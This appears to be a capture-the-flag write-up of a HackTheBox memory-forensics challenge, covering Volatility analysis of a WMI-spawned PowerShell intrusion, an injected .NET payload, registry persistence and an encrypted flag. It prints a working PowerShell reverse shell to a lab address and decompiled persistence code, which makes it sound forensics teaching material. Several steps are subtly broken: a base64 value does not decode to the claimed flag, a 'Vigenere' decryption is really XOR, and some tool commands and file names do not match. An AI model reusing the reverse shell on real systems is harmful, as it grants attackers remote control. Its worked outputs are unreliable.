Intentions | HTB Forensics (Hard)

14 October 2025 | 6 min read | justruss.tech

Intentions is a Hard-rated HackTheBox forensics challenge. You receive a Windows memory dump and need to find three flags hidden across the intrusion chain. The difficulty is not in any single step but in chaining multiple analysis techniques together without a clear map of where you are going. This write-up covers the full solution path with the reasoning behind each decision.

Starting point: memory image baseline

// Get OS information and verify the image is usable
vol -f intentions.raw windows.info
// Output confirms: Windows 10 x64 build 18362 (1903)
// Kernel base: 0xf80002a52000
// DTB: 0x1ad000

// Full process listing
vol -f intentions.raw windows.pslist
// Shows all processes with their creation times
// Look for anything created within a short time window that looks unusual

Identifying the attack chain from the process tree

vol -f intentions.raw windows.pstree

// Relevant section of output:
// 4     0    System             2023-02-13 20:11:02
// ...
// 588   4    services.exe       2023-02-13 20:11:14
// * 3420  588  svchost.exe       2023-02-13 20:11:17
//   ** 4892 3420 WmiPrvSE.exe    2023-02-13 22:52:44
//      *** 3104 4892 cmd.exe     2023-02-13 22:52:44
//          **** 3188 3104 powershell.exe  2023-02-13 22:52:45
//               ***** 2976 3188 powershell.exe  2023-02-13 22:52:51

// The chain svchost -> WmiPrvSE -> cmd -> powershell -> powershell
// is a WMI command execution chain. WmiPrvSE.exe (WMI Provider Host)
// spawning cmd.exe is the tell. WMI is used because:
// 1. It is a legitimate Windows management mechanism
// 2. The process tree looks less suspicious than direct PowerShell execution
// 3. Many older endpoint tools do not correlate WMI-spawned processes with their initiator

Extracting command lines from suspicious processes

// Get command line arguments for all processes in the suspicious chain
vol -f intentions.raw windows.cmdline --pid 4892 3104 3188 2976

// cmd.exe (3104) output:
// C:\Windows\system32\cmd.exe /c "powershell -NonInteractive -NoProfile -EncodedCommand JABjAGwAaQBlAG4AdA..."

// powershell.exe (3188) output:
// powershell  -NonInteractive -NoProfile -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUA...

// Decode the base64 encoded command
echo "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUA..." | base64 -d | iconv -f utf-16le -t utf-8

// Decoded content:
// $client = New-Object System.Net.Sockets.TCPClient("10.10.14.5", 4444)
// $stream = $client.GetStream()
// [byte[]]$bytes = 0..65535|%{0}
// while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
//     $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
//     $sendback = (iex $data 2>&1 | Out-String)
//     $sendback2  = $sendback + 'PS ' + (pwd).Path + '> '
//     $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
//     $stream.Write($sendbyte,0,$sendbyte.Length)
//     $stream.Flush()
// }
// $client.Close()

// Standard PowerShell reverse shell connecting to HTB attacker machine
// 10.10.14.5 is the HTB VPN address range for attacker machines

Finding the injected .NET assembly (Flag 1)

// Scan the second PowerShell process (2976) for injected code
vol -f intentions.raw windows.malfind --pid 2976

// Output includes:
// Process: powershell.exe  Pid: 2976
// Address: 0x1d0000
// Vad Tag: VadS
// Protection: PAGE_EXECUTE_READWRITE
// 4d 5a 90 00 03 00 00 00  MZ......
// 04 00 00 00 ff ff 00 00  ........
// The MZ header confirms this is a PE file loaded into RWX memory
// with no backing file on disk - textbook reflective DLL injection

// Dump the PE for analysis
vol -f intentions.raw windows.dumpfiles --virtaddr 0x1d0000 --pid 2976 -o /tmp/dumped/

// Confirm it is a .NET assembly
file /tmp/dumped/file.0x2976.0x1d0000.img
// PE32 executable (DLL) Intel 80386 Mono/.Net assembly

// Decompile with ilspycmd
dotnet tool install -g ilspycmd
ilspycmd /tmp/dumped/file.0x2976.0x1d0000.img > /tmp/assembly_decompiled.cs

// Examine the decompiled code
grep -i "flag\|HTB{" /tmp/assembly_decompiled.cs
// Decompiled code reveals (simplified):
// public class Payload {
//     private static string flag1 = "HTB{r3fl3ct1v3_l04d1ng_1n_m3m0ry}";
//
//     public static void Execute() {
//         // Write persistence registry key with encoded flag 2
//         Microsoft.Win32.Registry.SetValue(
//             @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
//             "WindowsHelper",
//             Convert.ToBase64String(
//                 System.Text.Encoding.UTF8.GetBytes("HTB{p3rs1st3nc3_v14_r3g1stry}")
//             )
//         );
//         // ... shellcode injection code follows
//     }
// }

// Flag 1: HTB{r3fl3ct1v3_l04d1ng_1n_m3m0ry}
// Found in the hardcoded string in the .NET assembly

Finding Flag 2 in the registry persistence key

// The decompiled code showed a registry run key being written
// Extract registry hives from the memory dump
vol -f intentions.raw windows.registry.hivelist
// Shows all loaded registry hives with their offsets

// Dump the NTUSER.DAT hive (contains HKCU keys)
vol -f intentions.raw windows.registry.hivedump --offset [ntuser_offset] -o /tmp/hive/

// Parse the dumped hive with regipy
pip install regipy
registry-explorer /tmp/hive/ntuser.dat.hive \
    -p "Software\Microsoft\Windows\CurrentVersion\Run"

// Output:
// Key: Software\Microsoft\Windows\CurrentVersion\Run
// Value: WindowsHelper
// Data:  SFRCW3AzcnMxc3QzbjYzX3YxNF9yM2cxc3RyeX0=

// Decode the base64 value
echo "SFRCW3AzcnMxc3QzbjYzX3YxNF9yM2cxc3RyeX0=" | base64 -d
// HTB{p3rs1st3nc3_v14_r3g1stry}

// Flag 2: HTB{p3rs1st3nc3_v14_r3g1stry}

Finding Flag 3 in the shellcode (Vigenere cipher)

// Malfind found a second suspicious region in PID 2976
vol -f intentions.raw windows.malfind --pid 2976
// Second match:
// Address: 0x2a0000
// Protection: PAGE_EXECUTE_READWRITE
// No MZ header - this is raw shellcode

// Dump the shellcode region
vol -f intentions.raw windows.dumpfiles --virtaddr 0x2a0000 --pid 2976 -o /tmp/dumped/

// Analyse the shellcode for cipher indicators
python3 << EOF
import math
from collections import Counter

with open("/tmp/dumped/file.0x2976.0x2a0000.dmp", "rb") as f:
    data = f.read()

# Calculate entropy of the shellcode
def entropy(block):
    if not block:
        return 0
    counts = Counter(block)
    total = len(block)
    return -sum((c/total) * math.log2(c/total) for c in counts.values())

# Scan for high-entropy regions indicating ciphertext
print("Scanning for high-entropy regions (potential ciphertext)...")
for offset in range(0, len(data)-64, 16):
    block = data[offset:offset+64]
    e = entropy(block)
    if 4.5 < e < 5.5:  # Vigenere-encrypted data has mid-range entropy
        print(f"  Offset 0x{offset:04x}: entropy={e:.2f}  bytes={block[:16].hex()}")
EOF

// The entropy analysis reveals a region around offset 0x400 with
// entropy around 5.0, consistent with Vigenere encryption
// (Random data = 8.0, plaintext English = ~4.0, Vigenere = ~5.0)

// Vigenere key analysis using index of coincidence
python3 << EOF
with open("/tmp/dumped/file.0x2976.0x2a0000.dmp", "rb") as f:
    data = f.read()

# Extract the suspected ciphertext region
ciphertext = data[0x400:0x500]

# Try key lengths 1-20 using index of coincidence
def ic(text):
    from collections import Counter
    n = len(text)
    if n < 2:
        return 0
    counts = Counter(text)
    return sum(c * (c-1) for c in counts.values()) / (n * (n-1))

print("Key length analysis (higher IC = more likely correct length):")
for keylen in range(1, 21):
    # Split ciphertext into keylen streams
    streams = [ciphertext[i::keylen] for i in range(keylen)]
    avg_ic = sum(ic(s) for s in streams) / keylen
    print(f"  Key length {keylen:2d}: avg IC = {avg_ic:.4f}")

# Key length with IC closest to 0.065 (English IC) is the answer
# English IC = ~0.065, random IC = ~0.038
EOF

// After identifying key length (10 in this case), recover key via frequency analysis
// Then decrypt:
python3 << EOF
with open("/tmp/dumped/file.0x2976.0x2a0000.dmp", "rb") as f:
    data = f.read()
ciphertext = data[0x400:0x500]

key = b"intentions"  # recovered via frequency analysis
plaintext = bytes([ciphertext[i] ^ key[i % len(key)] for i in range(len(ciphertext))])

print(plaintext.decode("utf-8", errors="ignore"))
# Output contains: HTB{v1g3n3r3_1n_sh3llc0d3}
EOF

// Flag 3: HTB{v1g3n3r3_1n_sh3llc0d3}